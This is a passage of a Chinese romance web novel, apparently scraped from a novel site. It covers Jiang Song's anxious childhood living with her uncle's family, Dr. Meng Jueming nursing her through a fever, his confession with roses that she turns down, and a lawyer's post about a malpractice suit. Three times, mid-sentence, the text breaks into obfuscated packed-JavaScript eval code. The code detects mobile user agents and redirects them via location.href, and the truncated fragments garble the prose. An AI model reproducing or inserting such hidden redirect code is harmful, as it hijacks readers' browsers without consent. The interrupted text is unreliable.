姜舅妈顺理成章地把四件套递给她:“洗漱用品明天我去超市给你买新的,今晚就先凑合一下吧,卫生间里那些沐浴露、洗发水什么的你可以随便用。” 姜颂停下手里的动作,站得笔直:“好,我知道了,谢谢舅妈。” “嗯,有事直接和我说,早点休息吧。” 姜舅妈说完,从房间离开了。 姜颂铺完床,小心翼翼地用手摁了摁床垫,陷下去一大块,柔软得仿佛一片云朵。 她整个人在那张大床上躺成了一个“大”字形。 在老家她虽然也有一个房间,但是那门没有锁,房间里堆置了各种杂物,家里的每个人都可以随时进入。与其说那是她的房间,倒不如说是她自己硬要住在杂物间里。 而现在,她终于有了真正意义上的独立房间,虽然只是短暂的。 寄人篱下的不安与拥有不被打扰的独立房间的欣喜交织在一起,姜颂努力地忽略前者,只去享受当下躺在这张柔软大床上的滚来滚去的快乐。 很快到了开学的日子,舅舅上班,舅妈又要照顾陆轩,姜颂只好一个人带着学费到学校报到。 她选择坐公交去,因为对她来说很新奇。 与雨花镇那一天两趟按路程收费的班车不同,城里的公交车十分钟一趟,线路覆盖广,且多远的路程也只要两元钱。 让她感到便利的是,这里的公交是到站自动停,不需要她做很久的心理建设,时刻紧盯路线,然后隔着拥挤又嘈杂的人群扯着嗓子告诉司机在前面的哪个路口下车。 她好喜欢这种便利。 她上车找了靠窗的位置坐下,看着窗外的高楼大厦想,以后有机会她也要在城市里买一座属于自己的房子,每天坐公交去想去的地方,那样的日子可真好啊。 除此之外,在这一天,姜颂还知道了一个关于公交车的知识。 原来道路两侧站点经过的公交车是通往相反方向的。 怎么知道的? 因为她晚上放学回家的时候坐反了。 等她坐上返程公交回到舅舅家的时候,舅舅已经开车出去找她了。 两人正好擦肩而过。 舅妈欲言又止,最终还是没说什么,给姜舅舅打了电话,让他赶紧回家吃饭。 姜舅舅很快也回到了家里,姜颂内疚地跟他解释了为什么回家这么晚,姜舅舅安慰了她几句,教她怎么坐公交。 姜颂本来很是自责,紧张得疯狂道歉,见舅舅和舅妈都没说什么,才强迫自己放松了一些。 明天学校正式开始上课,姜颂抢着洗完碗,回到房间里,把今天发下来的新书仔细地包上书皮。 新学校环境非常好,地上是白净透亮的地板,不再是黑黢黢的水泥地。同学都礼貌有加,不会像雨花镇小学里早熟的男同学那样对着女孩子开一些尴尬的“玩笑”。 她双手托脸,在书桌前憧憬未来在新学校读书的日子,觉得好幸福好幸福。 如果爸爸妈妈在身边,就更幸福了。 小骄也到了要上幼儿园的年纪,爸妈打工的地方是更大的城市,环境应该更好吧?还可以和爸爸妈妈住在一起。 她忽然有点羡慕弟弟。 姜颂拿出今天在文具店里买的一包正方形彩纸,折了一只纸鹤,对着纸鹤许愿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027691|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她对纸鹤说,她希望以后能和爸爸妈妈生活在一起。 小小的纸鹤在灯下对她对视,姜颂笑得眉眼弯弯。她关掉台灯,躺在床上,期待着明天的到来。 她也不知道自己睡了多久。 睡前喝了一杯水,她半夜被憋醒,迷迷糊糊往卫生间走。路过主卧时,就是这么正好地听见了傍晚时舅妈那欲言又止的表情里藏着的话。 她困意顿消。 先是舅舅刻意压低的指责声:“你在家也没什么事,今天姜姜开学你怎么没送她一下,她刚来对这的交通不熟悉,还好没走丢,这要是丢了我怎么跟我姐交代?” “没什么事?轩轩这么小,不用我看着吗?家里唯一的车被你开走了,我去也只能带她和轩轩坐公交去,两个孩子我怎么照顾得过来?” “你打车啊,咱家还不至于连打车钱都没有吧?” “呵,打车?我哪敢,上次你是怎么说我的你自己不记得了?”姜舅妈学着丈夫的腔调,“连去个商场都要打车,还是你会享福啊!” “你少在这胡搅蛮缠,这是一回事吗?你个当舅妈的送送孩子上学怎么了,她不管你叫舅妈啊?还是你对姜姜有什么意见?” “我对孩子能有什么意见,难道罪魁祸首不是你?我当初说没说过,我的精力只够照顾轩轩一个孩子,不同意姜姜来,是你非要把她接来。你倒是借着上班躲出去了,姜姜来家里这么久了,你为她做过什么?还不是全都甩给我?再说了,你姐一个月就给八百块钱,我每天好吃好喝地做给她,我觉得我已经仁至义尽了。你一个只管点头不管事的有什么资格指责我?不能照顾外甥女的好名声都落在你头上,稍微出点问题就都怪我吧?” “我不上班怎么办,你又不赚钱,全家一起喝西北风啊?” “我辞职是为了什么你自己心里没数吗?我早就说过不要太早生孩子,结果所有人都在逼我,得亏轩轩是个男孩,要是个女孩,你们是不是还打算逼着我生二胎?你觉得我在家里舒服,那好啊,明天我出去找工作,你照顾俩孩子,我看看你能照顾成什么样!” “你简直是不可理喻!” “砰!” 姜颂被突如其来的开门声吓了一跳,随即而来的是舅甥二人隔着一段距离面面相觑的尴尬。 空气在这一刻凝滞。 “姜姜……” 姜颂揉揉眼睛,一副刚睡醒的模样,声调没精打采:“舅舅,你也要上厕所吗?” “啊,啊,对,你先去吧,舅舅待会儿再去。” 姜颂一脸困倦地点点头:“哦,好,我马上出来。” 姜颂拖着步子走向卫生间,感觉到背后的舅舅一直在看她。 她关了门坐到马桶上,缩成一团,眼泪控制不住地掉。 她不敢哭太久,怕明天起来眼睛肿了,被发现异样。 第二天早上,她的眼睛还是有点肿,吃早饭的时候全程没敢抬头,但只盼着赶紧吃完出门上学。 她抓紧扒拉碗里的稀饭,视野里却多了一个剥好的蛋,被盛放在小碟子里推过来。 姜舅妈温声对她说:“姜姜吃个鸡蛋,只喝稀饭没有营养。” 姜颂愣了愣,接过鸡蛋,扬起笑脸:“谢谢舅妈。” 她就知道,自己拙劣的演技还是没能骗过大人。 寄人篱下的日子让姜颂来形容的话,就是每一天都兢兢业业、如履薄冰,心里那根弦永远是紧绷的。 她紧张,她敏感,她脆弱,她无奈。 她不能怪舅舅和舅妈,因为是他们收留了她,也的确如舅妈所说仁至义尽;她也不能怪爸爸妈妈,因为他们正在远方努力打工为他们姐弟俩攒钱,非常辛苦。 那她的痛苦该怪罪谁呢? 好像只能怪自己了。 她怪自己为什么要做姐姐,如果她是妹妹的话,爸爸妈妈就会把她带在身边了吧。 然而没有如果,她还是姐姐。 所以她折了一只新的纸鹤,换了个愿望,她盼望自己赶紧长大,不做别人的拖油瓶。 上了高中之后,姜颂跟爸妈死缠烂打要到了住宿费,毅然决然地选择住校,尽量减少回舅舅家的频率,她想也许这样就可以同时减少舅舅和舅妈因她而起的矛盾。 她偶尔也会觉得自己太脆弱了,解决不了的问题永远在想办法逃避。 不过好在这种办法好像总是管用的。 19. 第 19 章 姜颂做了一晚上乱七八糟的梦,仿佛又回到了那段紧绷的日子,那种窒息感太过真实,令她陡然惊醒。 她大口大口呼吸,睁眼缓了好一会儿。神识慢慢回笼后,终于想起来自己早已远离了那种日子,重重松了口气。 头还有点晕,她撑着身体坐起来,按着太阳穴。 她记起昨晚自己好像是发烧了,然后在楼下碰到孟医生,他把她送上了楼…… 后来呢? 正想着,她的肚子咕咕叫起来。她昨天中午从家里出来之后就再也没吃任何东西了,这会儿还真是有点饿。 姜颂起床到厨房准备翻翻还有没有能吃的,谁料发现餐桌上放着个保温袋。 一旁压着一张便利贴,上面的字漂亮而清晰:醒了吃点东西。 落款写了一个“孟”字。 姜颂打开那个保温袋,里面有南瓜粥、小笼包和肉沫蒸蛋。 她坐下来舀了一勺南瓜粥送进嘴里,温热的。 也就是说,孟医生昨晚照顾了她一晚上,直到不久前才离开吗? 姜颂回想昨晚。 她虽然烧得迷迷糊糊,可能感觉到有人一直在用凉凉的东西给她降温。原来不是做梦,是孟医生一整晚没有休息在照顾她。 继那晚的拥抱之后,那种异样的感觉再次涌上心头。 她小时候发烧最多就是到村卫生院打一针,然后村医给开一大把用纸包好的、花花绿绿的散装药片,拿回家吃了硬扛。就算是她亲生父母,也从没有过一整晚衣不解带只为了照顾她的时候。 只认识一个多月的朋友可以做到这个程度吗? 她打开手机。 微信显示,孟医生昨天的确给她发过好几条消息,还打过电话,只不过她那时候手机静音,加上她不太舒服,一直没看手机。不过现在也没有回复的必要了。 她随手点开朋友圈,昨天发出去的那条汉服写真九宫格收到了许多点赞和评论,她的目光在那个小猫头像上停了许久。 孟决明评论:姜姜仙子何故下凡? 姜颂感觉自己的心像被猫轻轻抓了一下。 她说不上来现在是什么感觉。自打有了性别意识,她就很少接触异性,高中学文,大学读的也是文科专业,能接触到的男生少之又少。和异性相处这方面,她毫无经验。 是她太敏感想太多,还是…… 如果是后者,她必须找个机会对他说清楚,不能这样拖着他去期待她这个不会有结果的人。 只是在没有确定的情况下,她若是贸然开口,可能会让彼此都尴尬。 她眼睫轻压,没来由地有些不太明朗的情绪。 “叮咚!叮咚!叮咚!” 她的心忽然提了起来。 门外的人不会是孟医生吧? 姜颂耽误的几秒让门外人心急地扯着嗓子喊:“姐,你在家吗?” 听到熟悉声音的姜颂终于放了心,立马过去开门。 装着零食和一堆乱七八糟的食材的购物袋后面露出陆轩的脸,他呲着牙朝姜颂做鬼脸。 陆轩今年刚考上研究生,学校就在桐市,偶尔会来找她,只是最近说很忙很久没来了。 姜颂被他逗笑,伸手打了他一下:“怎么那么没正行。” 她接过袋子,发现还挺沉,改用双手提,无奈道:“你不是挺忙的吗,今天怎么有空来我这?” “我给你发微信说了要来陪你过元旦的呀!”陆轩带上门,一边往屋里走一边说,“你咋不回我微信啊?” 姜颂这才想起来今天是元旦假期,她略过自己生病的事,说道:“哦,我刚起来。” “那你是准备出门吗?”陆轩打量着姜颂身上的衣服。 姜颂后知后觉自己身上还穿着昨天回家时的内搭,是一件白色卫衣,在家里穿会有点热。 她立马编了个理由:“没有,这都是新买的衣服,我试试搭配,正好你就来了。” 陆轩神经大条,不疑有他,高高兴兴地把购物袋扒拉开:“我买了火锅底料和很多食材,今晚咱们吃火锅吧!” 姜颂看着他从购物袋里一样一样地往外拿东西,问他:“你放假不回家,舅妈不说你吗?” “哎呀,我回家她也不少说呀,动不动就让我找对象,烦都烦死了,我还是来你这躲躲的好,等过年再回家挨说也不迟。”陆轩嬉皮笑脸。 姜颂笑笑没说话,帮着他一块分类食材。 陆轩买的东西非常多,品类丰富,快赶上火锅店了。 “咱们就俩人,买这么多吃不完的,下次别买这么多了。”姜颂说。 陆轩嘿嘿一笑,姜颂知道他这表情的意思就是下次也不改。 姜颂拿了牛肉到厨房切,留陆轩一个人在客厅处理花菜和一些需要择的青菜。 约莫过了一个小时,门铃再次响起。 陆轩跑去开门,门后出现了一个同样提着两大袋购物袋的男人。 个高腿长,英俊不凡,气质出众,穿着像是精心挑选过的,质感和搭配都很在线。 陆轩打量着眼前的男人。 孟决明也有些意外地看着陆轩。 昨晚姜颂退烧后,他担心会反复,一直守着。后来不小心靠在她床边睡过去,醒来看她的情况好了很多,但人还没醒。 他到楼下买了些食物放在她桌上,并留了字条给她。 一夜几乎没怎么合眼,精心挑选来见她的衣服被他坐了一夜也变得皱皱巴巴,他不想姜颂见到这样不够完美的他。 回家给兰花补充了猫粮和水,洗澡后换了新的衣服,时间已经是下午了。他想她应该已经醒来,刚生过病,她还那么瘦,需要补充一下营养。 于是他顺路买了许多食材,准备到她家去给她做一些她喜欢的菜,看着她多吃一点。 他欢喜地拎着袋子来到她家门前,按响门铃,没料到开门的竟是个眉清目秀的小男生,看上去二十出头,学生打扮。 孟决明错愕过后抬头看了眼门牌号,确认自己没走错,刚想开口,却发现对面的男孩以一种“奇怪”的目光盯着他。 他只好说明来意:“我找姜颂,她在吗?” “啊,在在在!请进请进!”陆轩赶紧侧身让人进来,脸上带着夸张的笑容。 对于陆轩突如其来的热情,孟决明有点莫名其妙。 陆轩继续用那种奇怪的目光看着他,语气中隐隐压抑着激动:“你是孟师兄吧?” 孟决明一愣,很快反应过来:“你是郭老师的学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034214|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “对对对!郭老师经常提起你,你之前回学校开过一次讲座,我还去听了,讲得超级棒!师兄你简直是我偶像!” 孟决明笑笑:“谢谢。” 姜颂闻声从厨房出来,见陆轩拉着孟决明的胳膊一副狂热粉丝的架势,奇道:“你们居然认识?” 陆轩的话匣子大开:“不不不,是我单方面崇拜孟师兄。你不知道,孟师兄是我们导师的得意门徒,自打我进了师门,师门就一直流传着孟师兄的传说,他可是我们师门所有师兄弟姐妹的偶像!” 姜颂知道陆轩也学医,只是没想到世界这么小,孟医生居然是陆轩的同门师兄。 孟决明笑望着姜颂:“感觉好些了吗?” 姜颂沉吟了一会儿,别扭地移开了目光,嗯了一声。 这番对话让陆轩从刚才的激动中勉强冷静下来了一点,他突然觉得自己好像忽略了一个问题。 孟师兄和表姐是什么关系呢? 看孟师兄刚才轻车熟路进门的样子,肯定不是第一次来了。但是表姐家里却没有属于男人的物品,这俩人看起来也不像在谈恋爱的样子。 陆轩余光瞥见一边快准备好的火锅食材,忽然心生一计。 他对孟决明发出了邀请:“师兄我们准备晚上煮火锅呢,菜买了很多,你也留下来一起吧!” 孟决明询问姜颂:“方便吗?” 姜颂想了一下。 假如今天只有她和孟医生两个人,那她一定会忍不住继续胡思乱想,很不自在。不过现在有陆轩在,昨晚好歹孟医生还照顾了她一晚上,一起吃顿火锅也说得过去。 姜颂:“一起吧。” 陆轩目光悠悠在俩人之间转了一转。 虽然见到偶像很高兴,但是如果偶像变成姐夫,那他将会高兴到在睡觉的时候都狂笑。 趁着上厕所的工夫,陆轩悄悄用手机给人发了条微信,让人七点半给他打个电话,就说导师有事找他。 孟决明心不在焉地处理着食材,忍不住去看陆轩和姜颂有说有笑的背影,心中暗自思量着两人的关系。 他这段时间确实忙,和姜颂的联系稍微少了一些,这中间的时间她认识了新朋友倒也不奇怪,她这么好的女孩子被人喜欢也一点都不奇怪。 这个陆轩嘴甜又积极,关键是,他很年轻。 孟决明读书时跳了几级,从小到大都是所接触的那批同龄人中岁数较小的一个,甚至于毕业之后参加工作,别人评价他也都是“这么年轻肯定不靠谱”或者“孟医生真是年轻有为”。 这还是第一次他感觉到自己的年龄已经不算优势了。 姜姜跟陆轩这样的年轻男孩会更有话题吧,比如他们正在聊的动漫角色,他完全插不上话。 他在这样的年纪正孤身远在美国,每天泡在实验室和图书馆里与那些冰冷的数据与标本打交道,对这些流行的动漫和游戏几乎一无所知。 在这一刻,他忽然意识到自己与姜颂之间的代沟。他想,之前的相谈甚欢,也许都是姜颂在向他兼容。 他和陆轩之间,姜姜选择他的概率能有多大呢? 他一分神,落下的刀不小心划破手指,他神色如常地摁住伤口,没有打扰一旁聊在兴头上的两人。 20. 第 20 章 这顿饭三人各有各的小心思。 姜颂在思考孟决明对她的情感究竟是哪一种,到底应该怎样继续和他相处下去;陆轩对见到偶像非常惊喜,两眼放光;孟决明则悄悄关注着姜颂,见她一直没有看他,心里有些失落。 四方桌上,姜颂和孟决明面对面而坐,陆轩夹在中间拉着孟决明情绪亢奋地问他一些专业上的问题。姜颂听不懂,也不敢和孟决明对视,只一个劲儿地往碗里捞煮熟的食材,给自己找点事做。 还好有陆轩在,不然现在的她真的没有信心能和孟医生心平气和地坐下来吃饭。 现在这样气氛倒不至于太尴尬。 吃到一半,陆轩忽然接到了一个电话,他开了免提,对方说导师找他有事,要他马上回学校一趟。 姜颂好歹跟他在同一屋檐下生活了三年,小时候陆轩每次考试前想偷溜出去打球,糊弄舅妈的时候就是他现在这种表情。 姜颂瞪他,眼神示意他留在这不许走。 陆轩权当没看见,挂了电话用一种很是遗憾的语气对孟决明说:“哎呀真是不巧,导师急着找我,没办法,我得赶紧走了。师兄你俩吃吧。” 姜颂看他拿起外套,真打算要走,皮笑肉不笑地叫他名字:“要不再留一会儿吧,吃完再去也来得及。” 陆轩笑嘻嘻跟孟决明说了拜拜,又挤眉弄眼跟姜颂说:“我走啦,不用想我哦。” 孟决明将两人的互动尽收眼底,抿唇。 陆轩穿上外套走到门口又突然折返回来,打开了微信扫一扫。 笑得谄媚:“师兄,我能不能加你个微信?” 孟决明努力端着微笑,调出二维码名片给他扫,陆轩扫完美了一会儿,在姜颂要吃人的目光中欢天喜地地滚蛋了。 最怕空气突然安静。 陆轩在的时候叽叽喳喳地说个不停,姜颂觉得他话多,可是他一走,这房间里就只剩下了火锅汤底沸腾的声音,空空荡荡。 还是孟决明先开的口:“今天还有哪里觉得不舒服吗?” 姜颂摇头:“没。” “你昨晚……”她抬头,与他对视一秒,又很快移开,“是不是一直在照顾我,都没有休息?” 他笑:“我是医生,照顾病人不是很正常吗?” 只是这样吗? 姜颂嗯了一声,夹起一颗牛肉丸咬进嘴里。 孟决明察觉到她眼神的闪躲,思考了片刻,对她解释:“昨天你靠在沙发上睡着了,没有吃药,我怕你一直烧下去会出问题,想用冷毛巾帮你降温,所以帮你脱了外套。你放心,我不会做任何冒犯你的事,就只是想帮你降温而已。” 他不说姜颂压根就没想到外套的事,这会儿他一提,姜颂才明白他误会了,连忙摆手:“不是的,我没有那样想,我知道孟医生你不是那样的人,谢谢你照顾我。” “那你,”孟决明看着她慌忙地解释完,与他视线相接的那一刻再次躲开目光,“为什么一直躲着我的眼睛?” “是因为……陆轩吗?” “啊?” “跟他有什么关系?”姜颂懵了,霎时忘记别扭,直愣愣地看他,“他是我表弟。” 得到这个回答,孟决明紧绷着的心弦骤然松懈。 “哦。” 方才的郁闷一扫而空,他眉梢眼角都沾染着笑意,拿过一旁的食材,猛猛往锅里下。 “你太瘦了,多吃一点。” 姜颂忽然反应过来他为什么这么问。 饭毕,孟决明离开前,对姜颂提出了一个请求:“能不能跟我一块下楼,我有个东西要给你。” 姜颂答应了。 两人一前一后地下楼梯。以前她送孟决明下楼的时候,聊天都是自然引出,而现在姜颂望着他的背影,觉得说什么都有点别扭,不如不说。 下到一楼,楼门口被风吹进来零星飘散的雪花,姜颂站在几阶楼梯上往外看去,发现不知什么时候,外面又飘起了雪。 孟决明走得快一些,已经走下楼梯,回眸仰望着她。 姜颂的站在楼梯上,与他目光交汇。 不知道为什么,她忽然有点不安。 “怎么了?”见她停住,孟决明问。 她扶在扶梯上的手指微微收紧。 “外面好像下雪了。”她说。 “嗯,待会儿你拿到东西就赶紧上楼,病刚好别着凉。” “是什么?” “到了你就知道了,车就停在门口。” 姜颂心里有种说不出的感觉。就像是学生时代考试放榜,她站在拥挤的人群之外,远远看见榜单轮廓,却看不清上面的字,不知是惊是喜。 可是不管是惊还是喜,都总是要面对的。 她下楼。 雪越下越大了,两人踩在雪地上,脚底咯吱咯吱响,让姜颂觉得像有一把钝刀子在她心尖上一点一点地磨。 姜颂停在车尾位置,看着孟决明解锁,打开车门,俯身探到车内。 他从车里抱出好大一束玫瑰花。 那是一束卡布奇诺,带着一些渐变的淡粉色,淡黄做皱的包装纸簇拥着花束,上面蒙着一层暗色的薄纱。 花束占满了他整个怀抱,他笑盈盈地朝她走来。 姜颂的瞳孔映射着眼前越来越近的男人,心跳在此刻失去规整的频率。 她忽然很庆幸之前没舍得买某品牌的运动手表,否则此刻要是戴在手腕上,一定已经发出了心跳过快的警报声。 然而狂乱的心跳伴随而来的,不是期待与羞涩,而是手脚冰凉与呼吸困难。 不安的感觉忽然找到了源头。 孟决明抱着玫瑰站在她面前,微微低头与她对视,漆黑的眼眸带着化不开的温柔:“在医院的时候经常看到家属带着花看望病人,所以也买了一束想要送给你。下午上楼的时候拿着购物袋没办法拿,只能现在给你了,还好还没有枯萎。” 姜颂没伸手接,也没说话,就只愣在那里迷茫地注视着他。 如果知道他昨晚一夜未睡照顾她的时候她还只是怀疑,那么现在眼前的这束玫瑰花已经足以打消她心中的一切疑虑。 一切都变得明了了,她担心的事终究还是发生了。 玫瑰的香气裹挟着凉气钻入她的口鼻,她若贪恋玫瑰香味,就不得不接受凉气的侵扰。 心口闷闷的,像被一层油纸糊住。 不能再这样打哑谜了,她要撕掉。 她嗓子发涩,终于不再闪躲他的眼。 她不自觉地吸了一口气,平声问:“孟决明,你是不是喜欢我?” 姜颂很少叫他的名字。 孟决明心尖一颤,被她突如其来的话语戳中心思。 只是他觉得眼下并不是坦露心意的好时机,因为他在她的眼神中只看到一片寂静。 他可以用语言的艺术巧妙地回避这个问题,但是他不想那样做。 于是,他点了头。 “我也不知道我是从什么时候开始对你的感情变得不一样的,可能是第一次见面,我被家属围在中心,看着你捡起了那个手机开始。也有可能是后来周围所有人都在怀疑我的时候你对我说出那句‘我相信你’开始。” “我慢慢发现自己跟你待在一起的时候哪怕不说话,仅仅是挂着视频,我们各忙各的事,我也会感到开心。” “从生物学角度来说,这是多巴胺的分泌为大脑激活了奖赏系统,人体因此不断产生愉悦感。”他忽然笑了,“姜姜,对我来说,你就是多巴胺的开关。” “你勇敢、善良、正直、温暖、富有同情心和同理心,总是对人散发着善意,是我见过的心地最好的女孩,值得被所有人喜欢,我也不例外。你甚至什么都不需要做,我只是看到你,就会觉得开心。” “我的情况这些天相处下来你应该有了一些了解。如你所见,我是个医生,博士学历,目前的职级是主任医师。平时喜欢健身和看书,社交圈子比较小,无不良嗜好,身体健康。财产方面,名下目前有两套房产,一套是我现在住的,另一套是婚房,已经装修好,随时可以入住。车目前就是这一辆,你如果喜欢别的我们可以再换。征信良好,无贷款。年收入在百万以上,除了医院的固定工资,我还有一些投资和分红,足够好好生活。家庭方面,我有一只猫叫兰花,是小姑娘,你见过的。我本人出身单亲家庭,从小跟母亲生活,我母亲可能有一些不太好相处,但是没关系,你不想接触的话可以不用见她,我不会让你受委屈。” 他的眉眼温润,语调缓慢而郑重:“姜姜,我喜欢你,想和你成为恋人,乃至以后结婚成为合法夫妻。我知道你根本不会在意另一半的物质条件,但这是我的所有身家,我愿意把这些全都给你,希望你能考虑我成为你的男朋友。” 他的眼神太过炽热,像是要融化他们之间不断落下的鹅毛大雪。 加速的心跳令姜颂有点喘不过气,站在这冰天雪地里她手心居然捏出了一层薄汗,她不知道是自己太紧张了还是因为再次听到结婚这种字眼产生了应激反应。 大脑只有一片空白。 她低头,不断深呼吸,呼出的白气很快消散在茫茫雪色里。 孟决明怀里那捧花上渐渐落了一层薄薄的雪,还是没有等到她的回应。 她的犹豫他看在眼里,他说:“今天我突然这样表白可能有些突兀,会让你一时接受不了,可以不用着急给我答复,我可以等的。” 姜颂还是没说话,就这样僵持了几秒。 她缓缓后退了一步,一下子拉开和他的距离。 孟决明的心被撕扯了一下,他有种不好的预感。 姜颂重新看向他的眼神里恢复了往日的平和,她还是温声细语的,扬着一张笑脸。 “我不会谈恋爱,也不会结婚,还是不要跟我开这样的玩笑吧。”姜颂抬头,对着他露出一个微笑,“太晚了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042534|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟医生,我就不耽误你的时间了。” 他的心陡然慌乱,匆匆往前一步想要离她近一些:“姜姜……” 姜颂又后退。 他不敢再前进。于是他无措地站在原地,看着她微笑,跟他告别。 “再见。”她道别。 姜颂转身离开。 风雪不停,脸颊被寒风刮得生疼,她从身到心无一不冷。 她脑子里只剩下一个想法: 快点逃离这里,逃离他的眼睛。 姜颂不知道自己怎么上的楼,又是怎样进的门。她在沙发上呆坐了不知多久,温热的液体划过脸颊,聚在下巴尖,滴落到她手背上。 她才意识到,自己一直在流泪,从转身的那一刻一直到现在。 为什么要哭呢? 是她自己要拒绝的。 她相信眼前的孟决明对她说的每一句话都是真心的,但谁能保证以后呢?她结婚之后会不会变得和妈妈跟舅妈一样,被逼着生孩子,女孩不行,要男孩,一个不行,还要两个。失去爱好,失去朋友,剩余的人生就围着家庭打转。 然后在日常的柴米油盐中渐渐消磨掉所有的爱,最后只剩下搭伙过日子的凑合和一地鸡毛。 她心绪混乱得犹如乱了码的程序,头痛欲裂。 良久,孟决明发了一条微信给她。 【我们还能做朋友吗?】 姜颂捏着手机,盯着那条消息看了半晌,不知道该如何回复。 越了界的友情能回到从前吗? 她走到窗边,悄悄拉开了一点窗帘,看着楼下的男人抱着那束玫瑰在冷风口里站着,垂眸盯着那一小块手机屏幕。 他就那样在原地站了很久很久,肩头与头发上都落满了白,怀里的玫瑰被雪覆盖得逐渐看不见花苞。 姜颂几乎以为他要在雪地里过夜。 她想,快回家吧孟医生,你等不到任何回答的,祝你以后能遇到更喜欢的人。 时间一分一秒地过去,孟决明没有得到任何回应。 他朝楼上那扇灭了灯的窗户望去,终于在沉默中读懂了她的意思。 手指早已冻得没了知觉,他默默拂去花束薄纱上的积雪。 姜颂躲在窗帘后,平静地看着楼下的人将花束小心放回车内,上车,发动车子。 她放下窗帘,听着发动机的轰鸣声一点点远去,最终归于寂静,只余大雪茫茫。 过速的心跳终于平息。 终于走了,她不用再担心他执着到被雪夜冻坏。 她回到工作室,坐在工作台前看着那一组未完成的小兔医生。 只差最后一只就完工了。 一直卡顿的灵感在此刻变得顺畅。 最后一只,就叫做离别兔。 凌晨一点多,小兔医生系列正式完工。 姜颂给五个小兔医生拍了照片,下意识地点开孟决明的对话框,看到聊天界面显示的最后一句话时方才如梦初醒。 她再没有人可以分享,也再没有人可以送了。 最后,姜颂只发了朋友圈,单独屏蔽了孟决明。 过了一会儿,她又把那条朋友圈删除。 窗外寒风呼号,在寂静的深夜尤为明显。 姜颂脚踩上椅面,抱膝看向窗外漆黑的夜色。 同一片夜色下,孟决明抱着兰花发呆,兰花趴在他胸口蹭,想让他开心一些。 桌面上花瓶里插着那束没有被接受的卡布奇诺,淡粉色的花朵吸收了水分渐渐变得饱满。 他在花瓶里加了营养液,不知道在雪地里冻了这么久的花还能盛开多久。他希望久一些,再久一些。 这一夜,两个人在这个被大雪纷飞的寒夜里同样的毫无睡意。 凌晨三点,雪停了。 姜颂毛绒睡衣外面套了长羽绒服,带了猫粮下楼。 之前做的猫窝用料扎实,完整无损地待在原地,为猫猫们提供了一片栖息之地。 姜颂找到盛满雪的猫食碗,倒掉积雪,重新倒了新猫粮进去。 窝里的猫一股脑儿涌出来。 两天不见,猫猫流浪队里多了一只通体雪白的新猫。 白猫刚开始看见姜颂有些害怕,不敢过来,姜颂没离开,只是淡淡移开视线。少顷,大约是饿得狠了,白猫硬着头皮也凑过来吃饭。 姜颂蹲在那一直走神。 白猫吃饱了,怯怯地看她,见她眼也不眨,脸上也没有表情,转头走了几步,犹豫几秒后,又转回来,朝着姜颂走去。 姜颂看着在自己珊瑚绒睡裤的裤腿上蹭个不停的猫猫头,伸手摸了摸。 猫和人一样,在寒夜里流浪久了,偶然遇到一点温暖,就算明知道不会长久,也总是一步三回头地留恋。 她低着头,小声问:“你明天还来吗?” 她自己也不知是在问猫还是问人。 还是问猫吧,人应该不会再来了。 21. 第 21 章 那段时间某出行APP推出了一款机票盲盒,只需要二百九十九元,就可以拿到随机一张机票。 那天晚上,睡不着的姜颂随便抽了一张。她运气还不错,抽到的机票终点是一个南方大热旅游城市。 第二天,姜颂拎着行李上了飞机,暂时逃离了寒冷的桐市。 她在南方住了半个多月,这期间她看到了孟决明那起医闹官司的最新进度。 法院公布的判决书上明确表示孟决明赢了这场官司。与此同时,院方也趁着热度发布了调查情况说明。 所有的调查和证据都足以证明,孟决明在手术和整个治疗过程中没有任何违规行为。 舆论再一次被引爆。 姜颂翻看着评论区。 虽然还是有一些质疑声,但大部分还是好的,还有一些他曾经的患者站出来为他说话。 从那天之后,她和他就再没有联系过了。再次听到关于他的消息,是好的,她也放了心。 几个小时后,孟决明方的委托律师张威用自己的社交账号发布了一篇长文: “社会各界关注此案的朋友们大家好,我是本次案件中原告孟医生的委托律师张威。 相信近日在网络上不断发酵的医闹事件大家都有所耳闻,今天判决书的公示与院方的调查证明也证明了孟医生的清白。而我今天在这里发声不只是为了我的委托人赢了官司而高兴,是我要向大家讲述一个关于我、孟医生和被告刘光以及死者刘宗之间的故事。 我和以上所述三人多年前毕业于同一所高中,同时也是同班同学。那时候的我因为家庭贫困被刘光、刘宗两兄弟长期霸凌,具体包括但不限于将我拖进厕所,强迫我去喝马桶里冲出来的水;多次殴打我,威胁我把生活费上交;用未熄灭的烟头按在我的身上等等恶劣行为。导致我患上严重的抑郁症与重度焦虑。 